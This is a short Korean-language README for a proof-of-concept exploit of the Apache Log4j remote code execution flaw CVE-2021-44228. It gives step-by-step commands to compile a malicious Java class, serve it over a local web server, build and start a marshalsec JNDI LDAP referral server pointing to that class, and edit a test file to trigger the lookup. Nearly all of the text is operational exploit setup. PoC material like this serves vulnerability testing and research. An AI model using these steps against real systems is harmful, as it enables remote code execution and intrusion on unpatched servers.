Apache Log4j CVE-2021-44228 GK7 PoC

단계

1. Log4jRCE.java를 컴파일하고 .class 파일을 웹 서버로 이동합니다 (예: 로컬 PHP)

   1. cd src/main/java
   2. javac Log4jRCE.java
   3. .class 파일을 웹 서버로 이동하거나 로컬에서 PHP를 시작합니다 (예: php -S 127.0.0.1:8888)

2. LDAP 서버 시작

   1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git
   2. cd marshalsec
   3. mvn clean package -DskipTests
   4. ldap 서버 시작 java -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

3. PoC를 테스트하려면 src/main/java/log4j.java 파일을 수정하고 LDAP 서버 URL을 원하는 대로 변경하십시오.

원본 저장소

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce